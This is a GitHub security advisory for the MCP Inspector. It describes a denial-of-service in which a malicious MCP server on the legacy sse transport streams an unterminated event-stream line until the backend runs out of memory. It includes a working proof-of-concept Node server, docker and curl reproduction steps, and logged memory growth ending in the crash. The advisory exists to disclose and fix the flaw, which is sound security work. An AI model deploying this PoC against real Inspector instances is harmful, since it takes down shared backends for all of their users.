Skip to main content
Menu
Advisories

A malicious MCP server can crash the Inspector backend via an unbounded long-lived (GET event-stream) read, bypassing the GHSA-9w48 cap

GHSA-3XGV-MVJ6-G78RPublished Updated GitHub

Description

A connected MCP server reached over the legacy sse transport can make the Inspector web backend buffer its server->client stream with no size cap, growing backend memory until the Node process exits with a JavaScript heap OOM and drops every session on that backend. The attacker is the upstream server; it needs no Inspector credentials.

This is the same weakness class as GHSA-9w48-x22j-rrm7, through a different, still-unfixed code path. The 2.15.0 fix for GHSA-9w48 added TRACKED_BODY_MAX_BYTES (1 MiB) to the non-long-lived (POST) read only. The long-lived (GET text/event-stream) path is handled by a separate reader, watchLongLivedStream, whose buffer is not capped. It is present and uncapped in the latest release (2.15.0).

Details

For a long-lived stream (isLongLivedStreamResponse -> a GET + text/event-stream, i.e. the primary channel of the legacy sse transport), createFetchTracker does not use the capped readCappedBody path; it hands the response to watchLongLivedStream (core/mcp/fetchTracking.ts), which clones the body and reads it to count events:

// core/mcp/fetchTracking.ts (2.15.0)
let pending = "";                                  // :731
...
pending += decoder.decode(value, { stream: true }); // :799
consumeCompleteLines();                             // :800

consumeCompleteLines drains only complete lines (those ending in CR/LF); with no terminator it returns without draining:

const consumeCompleteLines = (): void => {          // :776
  for (;;) {
    const cr = pending.indexOf("\r");
    const lf = pending.indexOf("\n");
    const end = cr === -1 ? lf : lf === -1 ? cr : Math.min(cr, lf);
    if (end === -1) return;                          // :781  nothing drained
    ...
  }
};

So an upstream that opens its SSE channel and then streams a single data: line it never terminates grows pending without bound. Unlike the POST read, nothing caps the bytes pump/pending accumulates. (The sibling POST read is now bounded by TRACKED_BODY_MAX_BYTES at :1014; the 401/403 read by CHALLENGE_BODY_MAX_BYTES; this one by nothing.)

Proof of concept

Upstream for the legacy sse transport: GET /sse returns a valid endpoint event (so the session establishes and the client holds the stream open), then streams 8 KiB chunks with no line terminator on the same stream:

// sse-upstream.mjs
import http from "node:http";
const CHUNK = "x".repeat(8192);
http.createServer((req, res) => {
  const u = new URL(req.url, "http://x");
  if (req.method === "GET" && u.pathname === "/sse") {
    res.writeHead(200, { "content-type": "text/event-stream", "cache-control": "no-cache", connection: "keep-alive" });
    res.write("event: endpoint\ndata: /message?sessionId=sess1\n\n"); // valid handshake
    res.write("data: ");                                               // begin one line, never terminate it
    const t = setInterval(() => { if (res.writableEnded) return clearInterval(t); res.write(CHUNK); }, 1);
    res.on("close", () => clearInterval(t));
    return;
  }
  if (req.method === "POST" && u.pathname === "/message") { let b=""; req.on("data",d=>b+=d); req.on("end",()=>res.writeHead(202).end()); return; }
  res.writeHead(404).end();
}).listen(9009, "0.0.0.0");

Run the test server and the Inspector (image built from the published 2.15.0 package, auth on, 512 MiB) on one network, then connect with the sse transport:

docker network create mcpnet
docker run -d --name upstream --network mcpnet -v "$PWD:/srv" node:22-slim node /srv/sse-upstream.mjs
TOKEN=test-token
docker run -d --name inspector --network mcpnet --memory=512m --memory-swap=512m \
  -e MCP_INSPECTOR_API_TOKEN=$TOKEN -e HOST=0.0.0.0 -e DANGEROUSLY_BIND_ALL_INTERFACES=true \
  -e MCP_AUTO_OPEN_ENABLED=false -p 6274:6274 <inspector-2.15.0-image> --web
AUTH=(-H "x-mcp-remote-auth: Bearer $TOKEN" -H "content-type: application/json" -H "origin: http://127.0.0.1:6274")
curl -s -X POST "${AUTH[@]}" -d '{"config":{"type":"sse","url":"http://upstream:9009/sse"}}' http://127.0.0.1:6274/api/mcp/connect
# watch: docker stats --no-stream inspector ; second client polls /api/config

Backend memory (512 MiB limit), with a second client polling /api/config:

baseline  mem=55.7MiB    /api/config=200  /health=200
connect {type:"sse"} -> {"sessionId":"..."}
t=0s      mem=117.9MiB   /api/config=200  /health=200
t=7s      mem=206.9MiB   /api/config=200  /health=200
t=18s     mem=260.1MiB   /api/config=200  /health=ERR
t=29s     mem=310.4MiB   /api/config=ERR  /health=ERR
t=40s     mem=334.4MiB   /api/config=ERR  /health=ERR
t=59s     container exited, ExitCode=134 (V8 FatalProcessOutOfMemory)
upstream: ~359 MiB streamed over the never-terminated GET /sse line before peer closed

The exit is V8's own FatalProcessOutOfMemory (SIGABRT 134, OOMKilled=false), so it reproduces regardless of the container's memory limit. The independent client is starved before the crash (/health fails at t=18s). Reproduced independently in two separate runs. Reached only via the sse transport (a streamable-http connection does not open a standalone GET SSE channel to the upstream, so that transport is not affected).

Impact

Same as GHSA-9w48: a single connection to a malicious or compromised MCP server crashes the Inspector web backend; on a hosted deployment one user's connection takes the backend down for all users. CWE-400 / CWE-770.

The legacy sse transport is not deprecated or gated: it remains a fully supported, user-selectable transport in 2.15.0 (clients/cli/src/cli.ts lists sse among the valid transports, and the web client accepts config.type: "sse" with no deprecation guard), so this path is reachable in a default install.

Relationship to GHSA-9w48-x22j-rrm7

This is an incomplete-fix sibling of GHSA-9w48-x22j-rrm7, found while verifying the completeness of the 2.15.0 fix. The POST vector reported in GHSA-9w48 is correctly closed by TRACKED_BODY_MAX_BYTES; the same unbounded-buffering weakness remains reachable through the long-lived (GET text/event-stream) watcher, which the cap does not cover, and is still unfixed in the latest release (2.15.0). Reported privately so it can be closed alongside the original fix.

Affected versions

References

GitHub · modelcontextprotocol/inspector